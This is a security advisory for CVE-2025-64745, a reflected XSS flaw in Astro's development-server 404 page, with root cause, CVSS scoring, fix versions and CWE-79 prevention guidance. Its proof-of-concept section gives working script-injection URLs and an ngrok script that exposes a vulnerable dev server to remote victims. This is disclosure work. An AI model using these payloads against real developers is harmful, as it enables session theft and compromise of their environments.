GHSA-w2vj-39qv-7vh7 CVE-2025-64745
Astro development server error page is vulnerable to reflected Cross-site Scripting
- Severity
- 2.7 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.26%
- Chance of exploitation in the next 30 days. Higher than 18.10% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
5.15.6- Upgrade astro to this version or later
Description
Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
Details
Vulnerability Location
Root Cause
The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.
Attack Vector
When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
PoC
Local Testing (localhost)
Basic vulnerability verification in local development environment
<details> <summary>Show details</summary>
astro.config.mjs:
import { defineConfig } from 'astro/config';
export default defineConfig({
trailingSlash: 'never', // or 'always'
server: {
port: 3000,
host: true
}
});
package.json:
{
"name": "astro-xss-poc-victim",
"version": "0.1.0",
"scripts": {
"dev": "astro dev"
},
"dependencies": {
"astro": "5.15.5"
}
}
Start the development server:
npm install
npm run dev
Access the following malicious URL depending on your configuration:
For trailingSlash: 'never' (requires trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
For trailingSlash: 'always' (no trailing slash):
http://localhost:3000/"></code><script>alert(document.domain)</script><!--
When accessing the malicious URL:
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the browser - An alert dialog appears, demonstrating arbitrary code execution
</details>
Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
<details> <summary>Show details</summary>
Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)
Setup and Execution:
#!/bin/bash
set -e
mkdir -p logs
npm i
npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait
When a remote user accesses either of the generated attack URLs:
- The request is tunneled through ngrok to the local development server
- The development server returns a 404 page due to trailing slash mismatch
- The JavaScript payload (
alert(document.domain)) executes in the user's browser
Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').
</details>
Impact
This only affects the development server. Risk depends on how and where the dev server is exposed.
Security impact
- Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
- Session hijacking: Active developer sessions can be stolen if services are open in the browser.
- Local resource access: JS may probe
localhostendpoints or dev tools depending on browser policies. - Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.
Attack scenarios
- Social engineering: Malicious link sent to a developer triggers the XSS when opened.
- Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
- Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
astro npm → 5.15.6
- npm
npm install astro@5.15.6- yarn
yarn add astro@5.15.6- pnpm
pnpm add astro@5.15.6
Severity breakdown
CVSS 3.1 2.7
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
- Attack vector
- Local
- Attack complexity
- High
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-98hj-9722-w3j8 Astro: Reflected/Stored XSS via unescaped <script>/<style> tag content in JSX/MDX rendering | Medium | Also affects astro |
| GHSA-mpr7-6m5w-76rw Astro: Arbitrary CSS injection in Astro View Transitions | Low | Also affects astro |
| GHSA-26w7-cxv4-gfx2 Astro: Remote code execution through AVIF image optimization | Critical | Also affects astro |
| GHSA-376h-93r7-7g6f Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base | Medium | Also affects astro |
| GHSA-8mv7-9c27-98vc Astro: composable `astro/hono` pipeline bypasses `security.checkOrigin` when `middleware()` is absent or misordered | Medium | Also affects astro |
| GHSA-f48w-9m4c-m7f5 Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298) | Medium | Also affects astro |
| GHSA-7pw4-f3q4-r2p2 Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands | Low | Also affects astro |
| GHSA-4g3v-8h47-v7g6 Astro: Reflected XSS via unescaped View Transition animation properties | Medium | Also affects astro |
Credits: delucis, florian-lefebvre, pHo9UBenaA
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor